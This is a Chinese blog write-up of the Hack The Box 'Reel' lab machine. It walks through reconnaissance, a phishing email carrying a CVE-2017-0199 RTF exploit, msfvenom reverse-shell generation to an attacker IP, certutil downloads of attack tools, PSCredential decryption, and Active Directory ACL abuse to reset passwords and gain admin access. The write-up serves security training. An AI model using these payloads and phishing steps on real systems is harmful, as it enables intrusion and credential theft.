• 【Hack The Box】windows练习-- Reel


    HTB 学习笔记

    Hack The Box】windows练习-- Reel


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月17日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    21/tcp open  ftp     Microsoft ftpd
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    |_05-29-18  12:19AM       <DIR>          documents
    | ftp-syst:
    |_  SYST: Windows_NT
    22/tcp open  ssh     OpenSSH 7.6 (protocol 2.0)
    | ssh-hostkey:
    |   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
    |   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
    |_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
    25/tcp open  smtp?
    | fingerprint-strings:
    |   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
    |     220 Mail Service ready
    |   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
    |     220 Mail Service ready
    |     sequence of commands
    |     sequence of commands
    |   Hello:
    |     220 Mail Service ready
    |     EHLO Invalid domain address.
    |   Help:
    |     220 Mail Service ready
    |     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
    |   SIPOptions:
    |     220 Mail Service ready
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |     sequence of commands
    |_    sequence of commands
    |     sequence of commands
    | smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
    |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    ftp,ssh,smtp(有东西),

    我看21ftp

    因为讲了匿名登陆,所以密码就是Anonymous

    在这里插入图片描述
    发现txt如下
    readme.txt
    在这里插入图片描述RTF 是 Microsoft 产品(如 Word 和 Office)使用的文本文件格式。 RTF 或富文本格式文件由 Microsoft 于 1987 年开发,用于其产品和跨平台文档交换。 大多数文字处理器都可以读取 RTF。

    分析另一个,打开是乱码,直接exiftool分析,得到邮件地址

    exiftool Windows\ Event\ Forwarding.docx 
    
    • 1

    在这里插入图片描述有了这个,那我就准备利用rtf钓哈鱼,但是在此之前我准备先把别的信息收集到位,因为你和高手的差距只有信息收集的细致程度

    另外一个docx文件要我

    要记录的 AppLocker 程序 - exe、msi 和脚本(ps1、vbs、cmd、bat、js)的哈希规则生效。

    我看smtp

    smtp的枚举
    HELO 0xdf.com
    MAIL FROM: 0xdf@aol.com
    RCPT TO: 0xdf@megabank.com
    RCPT TO: nico@megabank.com
    我发现他只接受0xdf@megabank.com
    在这里插入图片描述

    RTF Dynamite 进行网络钓鱼

    CVE-2017-0199 
    
    • 1

    描述: 此模块创建一个恶意 RTF 文件,当在 易受攻击的 Microsoft Word 版本将导致代码执行。 该缺陷存在于 olelink
    对象如何发出 http(s) 请求, 并执行 hta 代码作为响应。 这个错误最初被认为是 从 2016 年 10
    月开始在野外被利用。这个模块是创建的 通过逆转公共恶意软件样本。

    为了利用 CVE-2017-0199,我将让用户打开一个恶意 RTF 文件,该文件将对 HTA 文件发出 HTTP 请求。 我希望那个 HTA 文件执行代码给我一个 shell。

    exp在此

    https://github.com/bhdresh/CVE-2017-0199
    
    • 1
    操作流程:
    1. 生成rtf反弹shell
    msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=8888 -f hta-psh -o msfv.hta
    2. 利用exp将rtf编译成hta
    python2 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.8/msfv.hta -t rtf -x 0
    
    • 1
    • 2
    • 3
    • 4
    • 5
    -M gen- 生成文档
    -w invoice.rtf- 输出文件名
    -u http://10.10.14.3/msfv.hta- 获取 hta 的 URL
    -t rtf- 创建 rtf 文档(相对于 ppsx)
    -x 0- 禁用 rtf 混淆
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述而后发送邮件

    sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.129.118.220 -v
    或者
    swaks --server 10.129.118.220 --from wolf@megabank.com --to nico@megabank.com  --header 'Subject:Please Review this' --attach invoice.rtf 
    
    • 1
    • 2
    • 3
        -f- 从地址,可以是任何东西,只要域存在
        -t- 讲话, nico@megabank.com
        -u- 主题
        -m- 身体
        -a- 附件
        -s- smtp 服务器
        -v- 详细
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    本地不要忘记了开端口接shell

    在这里插入图片描述在用户桌面发现了一个cred.xml
    打开发现是PSCredential的格式
    在这里插入图片描述

    PSCredential解密

    PowerShell 有一个称为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。
    我可以通过加载文件从文件中获取明文密码 Import-CliXml,然后转储结果
    并且他是objs开头
    在这里插入图片描述powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

    在这里插入图片描述解密之后得到了tom的凭据

    UserName       : Tom
    Password       : 1ts-mag1c!!!
    
    • 1
    • 2

    紧接着ssh登陆

    ssh tom@10.10.10.77
    
    • 1

    在这里插入图片描述
    在这里插入图片描述这很明显提醒我们使用bloodhount,还告诉我们没有直接去admin的路径,还说也许我们应该针对我们创建的其他组重新运行 Cypher 查询。

    bloodhount

    页面只有一个csv文件,我们要获得它,需要老版本

    要在 Kali 上安装 Bloodhound,您可以 apt install bloodhound. 但是要获得旧版本,我将从源代码构建它。

    在 /opt/目录下, git clone
    https://github.com/BloodHoundAD/BloodHound.git
    cd BloodHound进入目录
    git checkout a3d5d02226.
    然后我从这个页面运行命令(从源代码构建)(https://github.com/BloodHoundAD/BloodHound/wiki/Building-BloodHound-from-source)。

    接下来的步骤是相同的 apt从源头安装或构建:

    neo4j console,这将打开 neo4j网页界面
    http://127.0.0.1:7474/使用用户名/密码“neo4j”/“neo4j”。 您必须在登录时更改密码。 关闭窗口(但不要退出 neo4j在控制台中)。 bloodhound从新的终端窗口。 使用您刚刚设置的凭据登录: powershell
    -version 2 -nop -exec bypass

    如果不想这么麻烦,也可以自己上传一个ps1,但是要你自己找一个可读写的目录

    下载
    certutil.exe -urlcache -split -f http://10.10.14.8/SharpHound.ps1 C:\Users\tom\desktop\ SharpHound.ps1
    导入模块并执行
    powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"    
    执行                               
    Invoke-BloodHound -CollectAll
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    WriteOwner -

    将对象所有者更改为攻击者控制的用户接管对象

    首先我们成为了 Claire 的 ACL 的所有者
    然后我们获得重置密码权限
    并使用该权限进行更改。
    
    • 1
    • 2
    • 3
    certutil -urlcache -split -f http://10.10.14.30/PowerView.ps1  
    Import-Module .\PowerView.ps1 
    接下来,我将 tom 设置为 claire 的 ACL 的所有者: 
    Set-DomainObjectOwner -identity claire -OwnerIdentity tom 
    接下来,我将授予 tom 更改该 ACL 上的密码的权限: 
    Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword 
    现在,我将创建一个凭证,然后设置克莱尔的密码: 
    $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force   
    并启用密码
    Set-DomainUserPassword -identity claire -accountpassword $SecPassword
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述ssh claire@10.10.10.77
    而后我可以按照我设置的密码登陆
    在这里插入图片描述

    WriteDacl

    在这里插入图片描述net group backup_admins
    看到该组唯一成员是ranj

    现在添加claire
    net group backup_admins claire /add
    在这里插入图片描述尽管它显示克莱尔现在在组中,但我必须注销并重新登录才能使其生效。
    紧接着我继续登陆claire
    遍历,浏览

    claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir                                                                   
     Volume in drive C has no label.                                                                                                
     Volume Serial Number is CC8A-33E1                                                                                              
    
     Directory of C:\Users\Administrator\Desktop\Backup Scripts                                                                     
    
    11/02/2017  10:47 PM    <DIR>          .                                                                                        
    11/02/2017  10:47 PM    <DIR>          ..                                                                                       
    11/04/2017  12:22 AM               845 backup.ps1                                                                               
    11/02/2017  10:37 PM               462 backup1.ps1                                                                              
    11/04/2017  12:21 AM             5,642 BackupScript.ps1                                                                         
    11/02/2017  10:43 PM             2,791 BackupScript.zip                                                                         
    11/04/2017  12:22 AM             1,855 folders-system-state.txt                                                                 
    11/04/2017  12:22 AM               308 test2.ps1.txt                                                                            
                   6 File(s)         11,903 bytes                                                                                   
                   2 Dir(s)  15,761,108,992 bytes free                                                                              
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    每个都打开看一看,发现BackupScript.ps1 里面有管理员账户密码

    $password=“Cr4ckMeIfYouC4n!”

  • 相关阅读:
    2022Java最新学习路线(初学者必看)
    【重温基础算法】内部排序之冒泡排序法
    聊聊推荐系统的评测(下)
    Linux打包发布常用命令
    华为python面试题目
    微信小程序(三)--- 视图与逻辑详解(导航相关,WXS脚本,页面事件,生命周期,自定义编译模式等)
    解决XshellL/SecureCRT使用rz指令上传文件乱码且文件无法删除的问题
    RabbitMQ详解(上)
    最新一站式AI创作中文系统网站源码+系统部署+支持GPT对话、Midjourney绘画、Suno音乐、GPT-4o文档分析等大模型
    windows安装metesploit遇到的问题
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127828899